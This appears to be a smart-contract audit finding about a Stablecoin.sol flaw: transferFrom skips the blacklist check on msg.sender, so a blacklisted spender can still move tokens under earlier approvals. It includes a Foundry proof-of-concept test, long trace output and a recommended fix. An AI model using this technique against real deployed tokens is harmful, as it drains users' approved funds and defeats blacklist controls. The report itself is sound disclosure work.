Digital Macaroon Lobster
Medium
In Stablecoin.sol, the _update function is overridden to prevent blacklisted users from interacting with the contract by reverting any transfer involving blacklisted from or to addresses:
function _update(
address from,
address to,
uint256 value
) internal override {
if (blacklisted(from)) revert Blacklisted(from);
if (blacklisted(to)) revert Blacklisted(to);
super._update(from, to, value);
}
However, the transferFrom function does not include a check for msg.sender being blacklisted. This missing check will cause unauthorized token transfers for users, as blacklisted addresses will use existing approvals to transfer tokens despite being blacklisted.
In Stablecoin.sol, the transferFrom function does not check if msg.sender is blacklisted, allowing blacklisted addresses to initiate token transfers.
- A user (
user
) approves the blacklisted address (hacker
) to spend a certain amount of tokens by callingapprove(hacker, amount)
. - The
hacker
is added to the blacklist after the approval is made.
- Users have been tricked into approving allowances to the blacklisted address through phishing attacks or malicious websites.
- The user approves the
hacker
to spend tokens by callingapprove(hacker, amount)
. - The contract owner adds the
hacker
to the blacklist. - Despite being blacklisted, the
hacker
callstransferFrom(user, hacker2, amount)
, transferring tokens from the user to another address (hacker2
). - The transfer succeeds because the
transferFrom
function does not check ifmsg.sender
is blacklisted.
The users suffer an approximate loss of the tokens they had approved to the blacklisted address. The attacker gains unauthorized access to users' tokens despite being blacklisted, continuing malicious activities and potentially leading to significant financial losses for users.
Furthermore, this vulnerability allows attackers to exploit prior approvals even after being blacklisted. Attackers can trick users into granting allowances through phishing schemes or malicious transactions. Once blacklisted, they can still drain users' approved tokens, bypassing the blacklist's intended security measures and undermining regulatory compliance efforts.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {Stablecoin} from "../src/stablecoin/Stablecoin.sol";
contract testBlacklist is Test {
address owner;
address hacker;
address user;
Stablecoin stablecoinInstance;
function setUp() public {
vm.createSelectFork("https://rpc.sepolia.org");
owner = vm.addr(0x1);
user = vm.addr(0x2);
hacker = vm.addr(0x3);
vm.startPrank(owner);
stablecoinInstance = new Stablecoin();
stablecoinInstance.initialize("Blacklist", "BL", 18);
vm.stopPrank();
}
function test_poc_blacklistedCanCallTransferFrom() public {
deal(address(stablecoinInstance), hacker, 1 ether);
deal(address(stablecoinInstance), user, 10 ether);
assertEq(stablecoinInstance.balanceOf(hacker), 1 ether);
assertEq(stablecoinInstance.balanceOf(user), 10 ether);
console.log("Before user balance: ", stablecoinInstance.balanceOf(user));
console.log("Before hacker balance: ", stablecoinInstance.balanceOf(hacker));
vm.prank(user);
stablecoinInstance.approve(hacker, 5 ether);
vm.startPrank(owner);
stablecoinInstance.grantRole(keccak256("BLACKLISTER_ROLE"), owner);
stablecoinInstance.addBlackList(hacker);
vm.stopPrank();
assertEq(stablecoinInstance.balanceOf(hacker), 0 ether);
address hacker2 = vm.addr(0x4);
vm.prank(hacker);
stablecoinInstance.transferFrom(user, hacker2, 5 ether);
assertEq(stablecoinInstance.balanceOf(hacker2), 5 ether);
console.log("After user balance: ", stablecoinInstance.balanceOf(user));
console.log("After hacker balance: ", stablecoinInstance.balanceOf(hacker));
console.log("After hacker2 balance: ", stablecoinInstance.balanceOf(hacker2));
vm.startPrank(user);
}
}
$ forge test --mt test_poc_blacklistedCanCallTransferFrom -vvvv
[⠊] Compiling...
[⠒] Compiling 1 files with Solc 0.8.27
[⠢] Solc 0.8.27 finished in 2.08s
Compiler run successful!
Ran 1 test for test/testBlacklist.t.sol:testBlacklist
[PASS] test_poc_blacklistedCanCallTransferFrom() (gas: 474960)
Logs:
Before user balance: 10000000000000000000
Before hacker balance: 1000000000000000000
After user balance: 5000000000000000000
After hacker balance: 0
After hacker2 balance: 5000000000000000000
Traces:
[598963] testBlacklist::test_poc_blacklistedCanCallTransferFrom()
├─ [2713] Stablecoin::balanceOf(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::record()
│ └─ ← [Return]
├─ [713] Stablecoin::balanceOf(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::accesses(Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2])
│ └─ ← [Return] [0xf87bb5a322ec9f9c33e72fc9530beca6fcb304903bcda1bfe7adfe339d791b25], []
├─ [0] VM::load(Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2], 0xf87bb5a322ec9f9c33e72fc9530beca6fcb304903bcda1bfe7adfe339d791b25) [staticcall]
│ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
├─ emit WARNING_UninitedSlot(who: Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2], slot: 112392162251855840595985412590026145694726450746947751294959586915981983292197 [1.123e77])
├─ [0] VM::load(Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2], 0xf87bb5a322ec9f9c33e72fc9530beca6fcb304903bcda1bfe7adfe339d791b25) [staticcall]
│ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
├─ [713] Stablecoin::balanceOf(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::store(Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2], 0xf87bb5a322ec9f9c33e72fc9530beca6fcb304903bcda1bfe7adfe339d791b25, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
│ └─ ← [Return]
├─ [713] Stablecoin::balanceOf(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69) [staticcall]
│ └─ ← [Return] 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]
├─ [0] VM::store(Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2], 0xf87bb5a322ec9f9c33e72fc9530beca6fcb304903bcda1bfe7adfe339d791b25, 0x0000000000000000000000000000000000000000000000000000000000000000)
│ └─ ← [Return]
├─ emit SlotFound(who: Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2], fsig: 0x70a08231, keysHash: 0x90f3868889e9c35f122449b6d46f724593d4840bc389a326fc5597f4fc449615, slot: 112392162251855840595985412590026145694726450746947751294959586915981983292197 [1.123e77])
├─ [0] VM::load(Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2], 0xf87bb5a322ec9f9c33e72fc9530beca6fcb304903bcda1bfe7adfe339d791b25) [staticcall]
│ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
├─ [0] VM::store(Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2], 0xf87bb5a322ec9f9c33e72fc9530beca6fcb304903bcda1bfe7adfe339d791b25, 0x0000000000000000000000000000000000000000000000000de0b6b3a7640000)
│ └─ ← [Return]
├─ [713] Stablecoin::balanceOf(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69) [staticcall]
│ └─ ← [Return] 1000000000000000000 [1e18]
├─ [2713] Stablecoin::balanceOf(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::record()
│ └─ ← [Return]
├─ [713] Stablecoin::balanceOf(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::accesses(Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2])
│ └─ ← [Return] [0x3993e48287367dabc19a5ffba3eabb052837a13645b1b52c1517c0e714e86d3d], []
├─ [0] VM::load(Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2], 0x3993e48287367dabc19a5ffba3eabb052837a13645b1b52c1517c0e714e86d3d) [staticcall]
│ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
├─ emit WARNING_UninitedSlot(who: Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2], slot: 26043136004968317244021048316460545655838957131107445362374752473859958009149 [2.604e76])
├─ [0] VM::load(Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2], 0x3993e48287367dabc19a5ffba3eabb052837a13645b1b52c1517c0e714e86d3d) [staticcall]
│ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
├─ [713] Stablecoin::balanceOf(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::store(Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2], 0x3993e48287367dabc19a5ffba3eabb052837a13645b1b52c1517c0e714e86d3d, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
│ └─ ← [Return]
├─ [713] Stablecoin::balanceOf(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) [staticcall]
│ └─ ← [Return] 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]
├─ [0] VM::store(Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2], 0x3993e48287367dabc19a5ffba3eabb052837a13645b1b52c1517c0e714e86d3d, 0x0000000000000000000000000000000000000000000000000000000000000000)
│ └─ ← [Return]
├─ emit SlotFound(who: Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2], fsig: 0x70a08231, keysHash: 0x93562c47dd208bf59b95385890d6e963241da3c4f75bf68509ab7fabd9f467b4, slot: 26043136004968317244021048316460545655838957131107445362374752473859958009149 [2.604e76])
├─ [0] VM::load(Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2], 0x3993e48287367dabc19a5ffba3eabb052837a13645b1b52c1517c0e714e86d3d) [staticcall]
│ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
├─ [0] VM::store(Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2], 0x3993e48287367dabc19a5ffba3eabb052837a13645b1b52c1517c0e714e86d3d, 0x0000000000000000000000000000000000000000000000008ac7230489e80000)
│ └─ ← [Return]
├─ [713] Stablecoin::balanceOf(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) [staticcall]
│ └─ ← [Return] 10000000000000000000 [1e19]
├─ [713] Stablecoin::balanceOf(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69) [staticcall]
│ └─ ← [Return] 1000000000000000000 [1e18]
├─ [0] VM::assertEq(1000000000000000000 [1e18], 1000000000000000000 [1e18]) [staticcall]
│ └─ ← [Return]
├─ [713] Stablecoin::balanceOf(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) [staticcall]
│ └─ ← [Return] 10000000000000000000 [1e19]
├─ [0] VM::assertEq(10000000000000000000 [1e19], 10000000000000000000 [1e19]) [staticcall]
│ └─ ← [Return]
├─ [713] Stablecoin::balanceOf(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) [staticcall]
│ └─ ← [Return] 10000000000000000000 [1e19]
├─ [0] console::log("Before user balance: ", 10000000000000000000 [1e19]) [staticcall]
│ └─ ← [Stop]
├─ [713] Stablecoin::balanceOf(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69) [staticcall]
│ └─ ← [Return] 1000000000000000000 [1e18]
├─ [0] console::log("Before hacker balance: ", 1000000000000000000 [1e18]) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::prank(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF)
│ └─ ← [Return]
├─ [24831] Stablecoin::approve(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, 5000000000000000000 [5e18])
│ ├─ emit Approval(owner: 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF, spender: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, value: 5000000000000000000 [5e18])
│ └─ ← [Return] true
├─ [0] VM::startPrank(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf)
│ └─ ← [Return]
├─ [29743] Stablecoin::grantRole(0x98db8a220cd0f09badce9f22d0ba7e93edb3d404448cc3560d391ab096ad16e9, 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf)
│ ├─ emit RoleGranted(role: 0x98db8a220cd0f09badce9f22d0ba7e93edb3d404448cc3560d391ab096ad16e9, account: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, sender: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf)
│ └─ ← [Stop]
├─ [51975] Stablecoin::addBlackList(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69)
│ ├─ emit Transfer(from: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, to: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, value: 1000000000000000000 [1e18])
│ ├─ emit AddedBlacklist(user: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69)
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [713] Stablecoin::balanceOf(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::assertEq(0, 0) [staticcall]
│ └─ ← [Return]
├─ [0] VM::addr(<pk>) [staticcall]
│ └─ ← [Return] 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718
├─ [0] VM::prank(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69)
│ └─ ← [Return]
├─ [30714] Stablecoin::transferFrom(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF, 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, 5000000000000000000 [5e18])
│ ├─ emit Transfer(from: 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF, to: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, value: 5000000000000000000 [5e18])
│ └─ ← [Return] true
├─ [713] Stablecoin::balanceOf(0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718) [staticcall]
│ └─ ← [Return] 5000000000000000000 [5e18]
├─ [0] VM::assertEq(5000000000000000000 [5e18], 5000000000000000000 [5e18]) [staticcall]
│ └─ ← [Return]
├─ [713] Stablecoin::balanceOf(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) [staticcall]
│ └─ ← [Return] 5000000000000000000 [5e18]
├─ [0] console::log("After user balance: ", 5000000000000000000 [5e18]) [staticcall]
│ └─ ← [Stop]
├─ [713] Stablecoin::balanceOf(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69) [staticcall]
│ └─ ← [Return] 0
├─ [0] console::log("After hacker balance: ", 0) [staticcall]
│ └─ ← [Stop]
├─ [713] Stablecoin::balanceOf(0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718) [staticcall]
│ └─ ← [Return] 5000000000000000000 [5e18]
├─ [0] console::log("After hacker2 balance: ", 5000000000000000000 [5e18]) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::startPrank(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF)
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.56s (4.54ms CPU time)
Add a blacklist check in the transferFrom
function to prevent blacklisted addresses from initiating transfers:
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
if (blacklisted(msg.sender)) revert Blacklisted(msg.sender);
_spendAllowance(from, msg.sender, amount);
_transfer(from, to, amount);
return true;
}
Ensure that all functions allowing token transfers or state changes include appropriate blacklist checks to prevent blacklisted addresses from interacting with the contract.